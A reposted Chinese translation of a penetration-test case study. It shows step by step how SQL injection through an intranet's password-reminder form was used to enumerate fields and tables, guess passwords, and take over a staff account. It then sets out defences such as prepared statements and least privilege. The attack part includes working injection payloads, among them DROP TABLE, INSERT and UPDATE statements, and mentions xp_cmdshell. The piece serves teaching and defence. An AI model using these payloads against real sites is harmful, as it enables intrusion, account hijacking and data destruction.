实例讲解 SQL 注入攻击

Posted 2021-04-11 炼数成金前沿推荐

一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分，所以尽管我们之前没有使用过SQL注入来渗透网络，但对其概念也相当熟悉了。最后我们在这项任务中大获成功，现在来回顾一下这个过程的每一步，将它记录为一个案例。

“SQL注入”是一种利用未过滤/未审核用户输入的攻击方法（“缓存溢出”和这个不同），意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们，就会造成一些出人意料的结果。

我们记录下了在多次错误的转折后经历的曲折过程，而一个更有经验的人会有这不同的 — 甚至更好的 — 方法。但事实上我们成功以后才明白，我们并没有完全被误导。

其他的SQL文章包含了更多的细节，但是这篇文章不仅展示了漏洞利用的过程，还讲述了发现漏洞的原理。

目标内网

展现在我们眼前的是一个完整定制网站，我们之前没见过这个网站，也无权查看它的源代码：这是一次“黑盒”攻击。‘刺探’结果显示这台服务器运行在微软的IIS6上，并且是ASP.NET架构。这就暗示我们数据库是微软的SQL server：我们相信我们的技巧可以应用在任何web应用上，无论它使用的是哪种SQL 服务器。

登陆页有传统的用户-密码表单，但多了一个 “把我的密码邮给我”的链接；后来，这个地方被证实是整个系统陷落的关键。

我猜测SQL代码可能是这样：

[sql] view plaincopy

SELECT fieldlist

FROM table

WHERE field = '$EMAIL';

当我们键入 [e-mail]‘ -注意这个末端的引号 – 下面是这个SQL字段的构成：

[sql] view plaincopy

SELECT fieldlist

FROM table

WHERE field = '[e-mail]'';

这个数据呈现在WHERE的从句中，让我们以符合SQL规范的方式改变输入试试，看看会发生什么。键入anything’ OR ‘x’=‘x, 结果如下：

[sql] view plaincopy

SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x';

因为应用不会思考输入 – 仅仅构造字符串 - 我们使用单引号把WHERE从句的单一组成变成了双组成，’x'=‘x’从句是恒成立的，无论第一个从句是什么。（有一种更好的方式来确保“始终为真”，我们随后会接触到）。

但与每次只返回单一数据的“真实”查询不同，上面这个构造必须返回这个成员数据库的所有数据。要想知道在这种情况下应用会做什么，唯一的方法就是尝试，尝试，再尝试。我们得到了这个：

你的登录信息已经被邮寄到了 [e-mail].

我们现在知道可以根据自己的需要来篡改查询语句了，尽管对于那些看不到的部分还不够了解，但是我们注意到了在多次尝试后得到了三条不同的响应：

“你的登录信息已经被邮寄到了邮箱”

服务器错误

前两个响应是有效的SQL，最后一个响应是无效的SQL：当猜测查询语句结构的时候，这种区别非常有用。

模式字段映射

第一步是猜测字段名：我们合理的推测了查询包含“email address”和“password”，可能也会有“US Mail address”或者“userid”或“phone number”这样的字段。我们特别想执行 SHOW TABLE语句, 但我们并不知道表名，现在没有比较明显的办法可以拿到表名。

[sql] view plaincopy

SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --';

如果我们得到了服务器错误，意味着SQL有不恰当的地方，并且语法错误会被抛出：更有可能是字段名有错。如果我们得到了任何有效的响应，我们就可以猜测这个字段名是正确的。这就是我们得到“email unknown”或“password was sent”响应的过程。

接下来，我们猜测其他显而易见的名字：password，user ID, name等等。每次只猜一个字段，只要响应不是“server failure”，那就意味着我们猜对了。

[sql] view plaincopy

SELECT fieldlist FROM table WHERE email = 'x' AND userid IS NULL; --';

在这个过程中，我们找到了几个正确的字段名：

email

passwd

login_id

full_name

无疑还有更多（有一个线索是表单中的字段名），一阵挖掘后没有发现更多了。但是我们依然不知道这些字段名的表名，它们在哪找到的？

寻找数据库表名

应用的内建查询指令已经建立了表名，但是我们不知道是啥：有几个方法可以找到表名。其中一个是依靠subselect（字查询）。

一个独立的查询

[sql] view plaincopy

SELECT COUNT(*) FROM tabname

返回表里记录的数量，如果表名无效，查询就会失败。我们可以建立自己的字符串来探测表名：

[sql] view plaincopy

SELECT email, passwd, login_id, full_name

FROM table

WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

我们不关心到底有多少条记录，只关心表名是不是正确。重复多次猜测以后，我们终于发现members是这个数据库里的有效表名。但它是用在这个查询里的么？所以我们需要另一个测试，使用table.field：实际查询的部分只工作在这个表中，而不是只要表存在就执行。

[sql] view plaincopy

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'

AND members.email IS NULL; --';

找用户账号

我们可以查询email name或者full name（或者推测出来的其他信息），每次放入%通配符进行如下查询：

[sql] view plaincopy

SELECT email, passwd, login_id, full_name

FROM members

WHERE email = 'x' OR full_name LIKE '%Bob%';

记住尽管可能不只有一个“Bob”，但我们只能看到一条信息：建议精炼LIKE从句。

密码暴力破解

可以肯定的是，我们能在登陆页进行密码的暴力破解，但是许多系统都针对此做了监测甚至防御。可能有的手段有操作日志，帐号锁定，或者其他能阻碍我们行动的方式，但是因为存在未过滤的输入，我们就能绕过更多的保护措施。

我们在构造的字符串里包含进邮箱名和密码来进行密码测试。在我们的例子中，我们用了受害者[e-mail] 并尝试了多组密码。

[sql] view plaincopy

SELECT email, passwd, login_id, full_name FROM members WHERE email = '<a

href="mailto:[e-mail]">[e-mail]</a>' AND passwd

= 'hello123';

这是一条很好使的SQL语句，我们不会得到服务器错误的提示，只要我们得到“your password has been mailed to you”的提示信息，就证明我们已经得到密码了。这时候受害人可能会警觉起来，但谁关心他呢，我们已经得到密码了。

这个过程可以使用perl脚本自动完成，然而，我们在写脚本的过程中，发现了另一种方法来破解系统。

数据库不是只读的

迄今为止，我们没做查询数据库之外的事，尽管SELECT是只读的，但不代表SQL只能这样。SQL使用分号表示结束，如果输入没有正确过滤，就没有什么能阻止我们在字符串后构造与查询无关的指令。

The most drastic example is:

这剂猛药是这样的：

[sql] view plaincopy

SELECT email, passwd, login_id, full_name

FROM members

WHERE email = 'x'; DROP TABLE members; --'; -- Boom!

这表明我们不仅仅可以切分SQL指令，而且也可以修改数据库。这是被允许的。

添加新用户

我们已经了解了members表的局部结构，添加一条新纪录到表里视乎是一个可行的方法：如果这成功了，我们就能简单的用我们新插入的身份登陆到系统了。

不要太惊讶，这条SQL有点长，我们把它分行显示以便于理解，但它依然是一条语句：

[sql] view plaincopy

SELECT email, passwd, login_id, full_name

FROM members

WHERE email = 'x';

INSERT INTO members ('email','passwd','login_id','full_name')

VALUES ('[e-mail]','hello','steve','Steve Friedl');--';

即使我们得到了正确的字段名和表名，但在成功攻击之前我们还有几件事需要了解：

在web表单里，我们可能没有足够的空间键入这么多文本（尽管可以用脚本解决，但并不容易）。

web应用可能没有members表的INSERT权限。

母庸置疑，members表里肯定还有其他字段，有一些可能需要初始值，否则会引起INSERT失败。

即使我们插入了一条新纪录，应用也可能不正常运行，因为我们无法提供值的字段名会自动插入NULL。

一个正确的“member”可能额不仅仅只需要members表里的一条纪录，而还要结合其他表的信息（如，访问权限），因此只添加一个表可能不够。

在这个案例里，我们遇到了问题#4或#5，我们无法确定到底是哪个—— 因为用构造好的用户名登陆进去的时候，返回了服务器错误的提示。尽管这就暗示了我们那些没有构造的字段是必须的，但我们没有办法正确处理。

一个可行的办法是猜测其他字段，但这是一个劳力费神的过程：尽管我们可以猜测其他“显而易见”的字段，但要想得到整个应用的组织结构图太难了。

我们最后尝试了其他方式。

把密码邮给我

我们意识到虽然我们无法添加新纪录到members数据库里，但我们可以修改已经存在的，这被证明是可行的。

[sql] view plaincopy

SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x';

UPDATE members SET email = <a href="mailto:'[e-mail]">'[e-mail]</a>'

WHERE email = <a href="mailto:'[e-mail]">'[e-mail]</a>';

[sql] view plaincopy

From: <a href="mailto:[e-mail]">[e-mail]</a>

To: <a href="mailto:[e-mail]">[e-mail]</a>

Subject: Intranet login This email is in response to your request for your

Intranet log in information. Your User ID is: bob Your password is: hello

现在，我们要做的就是跟随标准的登录流程进入系统，这是一个高等级职员，有高级权限，比我们INSERT的用户要好。

我们发现这个企业内部站点内容特别多，甚至包含了一个全用户列表，我们可以合理的推出许多内网都有同样的企业Windows网络帐号，它们可能在所有地方都使用同样的密码。我们很容易就能得到任意的内网密码，并且我们找到了企业防火墙上的一个开放的PPTP协议的VPN端口，这让登录测试变得更简单。

我们又挑了几个帐号测试都没有成功，我们无法知道是否是“密码错误”或者“企业内部帐号是否与Windows帐号名不同”。但是我们觉得自动化工具会让这项工作更容易。

其他方法

在这次特定的渗透中，我们得到了足够的权限，我们不需要更多了，但是还有其他方法。我们来试试我们现在想到的但不够普遍的方法。

我们意识到不是所有的方法都与数据库无关，我们可以来试试。

调用xp_cmdshell

微软的SQLServer支持存储过程xp_cmdshell有权限执行任意操作系统指令。如果这项功能允许web用户使用，那webserver被渗透是无法避免的。

迄今为止，我们做的都被限制在了web应用和数据库这个环境下，但是如果我们能执行任何操作系统指令，再厉害的服务器也禁不住渗透。xp_cmdshell通常只有极少数的管理员账户才能使用，但它也可能授权给了更低级的用户。

绘制数据库结构

在这个登录后提供了丰富功能应用上，已经没必要做更深的挖掘了，但在其他限制更多的环境下可能还不够。

能够系统的绘制出数据库可见结构，包含表和它们的字段结构，可能没有直接帮助。但是这为网站渗透提供了一条林萌大道。

从网站的其他方面收集更多有关数据结构的信息（例如，“留言板”页？“帮助论坛”等？）。不过这对应用环境依赖强，而且还得靠你准确的猜测。

减轻危害

我们认为web应用开发者通常没考虑到“有害输入”，但安全人员应该考虑到（包括坏家伙），因此这有3条方法可以使用。

输入过滤

过滤输入是非常重要的事，以确保输入不包含危险代码，无论是SQL服务器或HTM本身。首先想到的是剥掉“恶意字符”，像引号、分号或转义符号，但这是一种不太好的方式。尽管找到一些危险字符很容易，但要把他们全找出来就难了。

web语言本身就充满了特殊字符和奇怪的标记（包括那些表达同样字符的替代字符），所以想要努力识别出所有的“恶意字符”不太可能成功。

[text] view plaincopy

abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 @.-_+

允许不正确的字符输入是没有任何好处的，应该早点拒绝它们 - 可能会有一些错误信息 – 不仅可以阻止SQL注入，也可以捕获一些输入错误而不是把它们存入数据库。

意识到“过滤输入”并不意味着仅仅是“移除引号”，因为即使一个“正规”的字符也会带来麻烦。在下面这个例子中，一个整型ID值被拿来和用户的输入作比较（数字型PIN）:

[sql] view plaincopy

SELECT fieldlist FROM table WHERE id = 23 OR 1=1; -- Boom! Always matches!

输入项编码/转义

有人就想到过滤到单引号的时候，再加上一个引号，这样就没问题了 – 但是这么干要出事啊！

预处理每个字符串来替换单引号：

[sql] view plaincopy

SELECT fieldlist

FROM customers

WHERE name = 'Bill O''Reilly'; -- works OK

这个方法很容易出问题，因为大部分数据库都支持转码机制。像mysql，允许输入’来替代单引号，因此如果输入 ‘; DROP TABLE users; — 时，通过两次引号来“保护”数据库，那我们将得到：

[sql] view plaincopy

SELECT fieldlist

FROM customers

WHERE name = '\''; DROP TABLE users; --'; -- Boom!

‘’’ 是一个完整的SQL语句（只包含一个引号），通常，恶意SQL代码就会紧跟其后。不光是反斜线符号的情况：像Unicode编码，其他的编码或者解析规则都会无意中给程序员挖坑。完美的过滤的很困难的，这就是为什么许多的数据库借口语言都提供函数给你使用。当同样的内容给“string quoting”和“string parsing”处理过后，会好一些，也更安全一些。

比如MySQL的函数mysql_real_escape_string()和perl DBD 的 $dbh->quote($value)方法，这些方法都是必用的。

参数绑定 (预编译语句)

尽管转义是一个有用的机制，但我们任然处于“用户输入被当做SQL语句”这么一个循环里。更好的方法是：预编译，本质上所有的数据库编程接口都支持预编译。技术上来说，SQL声明语句是用问号给每个参数占位创建的 – 然后在内部表中进行编译。

预编译查询执行时是按照参数列表来的：

Perl中的例子

[sql] view plaincopy

$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);

感谢Stefan Wagner帮我写了个java实现：

不安全版

[sql] view plaincopy

Statement s = connection.createStatement();

ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "

+ formField); // *boom*

安全版

[sql] view plaincopy

PreparedStatement ps = connection.prepareStatement(

"SELECT email FROM member WHERE name = ?");

ps.setString(1, formField);

ResultSet rs = ps.executeQuery();

$email 是从用户表单获得的，它作为#1（第一个问号标记的地方）位置的参数传递过来，在任何情况下这条SQL声明都可以解析。引号，分号，反斜杠，SQL指令记号 – 任何字符都不会产生特殊效果，因为它们“只是数据”而已。这不会对其他东西造成破坏，因此这个应用很大程度上防范了SQL注入攻击。

如果预编译查询语句多次（只编译一次）执行，也会带来性能上的提升，但是与大量安全方面的巨大提升相比，这显得微不足道。这可能是我们保证web应用安全最重要的一步。

限制数据库权限和隔离用户

在这个案例中，我们观察到只有两个交互动作不在登录用户的上下文环境中：“登录”和“发密码给我”。web应用应该对数据库连接做权限的限制：对于members表只能读，并且无法操作其他表。

作用是即使一次“成功的”SQL注入攻击也只能得到非常有限的成功。噢，我们将不能做有授权的UPDATE请求，我们要求助于其他方法。

一旦web应用确定登录表单传递来的认证是有效的，它就会切换会话到一个有更多权限的用户上。

对任何web应用而言，不使用sa权限几乎是根本不用说的事。

对数据库的访问采用存储过程

如果数据库支持存储过程，请使用存储过程来执行数据库的访问行为，这样就不需要SQL了（假设存储过程编程正确）。

把查询，更新，删除等动作规则封装成一个单独的过程，就可以针对基础规则和所执行的商业规则来完成测试和归档（例如，如果客户超过了信用卡限额，“添加新记录”过程可能拒绝订单）。

对于简单的查询这样做可能仅仅能获得很少的好处，不过一旦操作变复杂（或者被用在更多地方），给操作一个单独的定义，功能将会变得更稳健也更容易维护。

注意：动态构建一个查询的存储过程是可以做到的：这么做无法防止SQL注入 – 它只不过把预编译/执行绑定到了一起，或者是把SQL语句和提供保护的变量绑定到了一起。

隔离Web服务器

实施了以上所有的防御措施，仍然可能有某些地方有遗漏，导致了服务器被渗透。设计者应该在假定坏蛋已经获得了系统最高权限下来设计网络设施，然后把它的攻击对其他事情产生的影响限制在最小。

例如，把这台机器放置在极度限制出入的DMZ网络“内部”，这么做意味着即便取得了web服务器的完全控制也不能自动的获得对其他一切的完全访问权限。当然，这么做不能阻止所有的入侵，不过它可以使入侵变的非常困难。

配置错误报告

一些框架的错误报告包含了开发的bug信息，这不应该公开给用户。想象一下：如果完整的查询被现实出来了，并且指出了语法错误点，那要攻击该有多容易。

对于开发者来说这些信息是有用的，但是它应该禁止公开 – 如果可能 - 应该限制在内部用户访问。

注意：不是所有的数据库都采用同样的方式配置，并且不是所有的数据库都支持同样的SQL语法（“S”代表“结构化”，不是“标准的”）。例如，大多数版本的MySQL都不支持子查询，而且通常也不允许单行多条语句（multiple statements）：当你渗透网络时，实际上这些就是使问题复杂化的因素。

再强调一下，尽管我们选择了“忘记密码”链接来试试攻击，但不是因为这个功能不安全。而是几个易攻击的点之一，不要把焦点聚集在“忘记密码”上。

这个教学示例不准备全面覆盖SQL注入的内容，甚至都不是一个教程：它仅仅是一篇我们花了几小时做的渗透测试的记录。我们看了其他的关于SQL注入文章的讨论，但它们只给出了结果而没有给出过程。

但是那些结果报告需要技术背景才能看懂，并且渗透细节也是有价值的。在没有源代码的情况下，渗透人员的黑盒测试能力也是有价值的。

文章来源：伯乐在线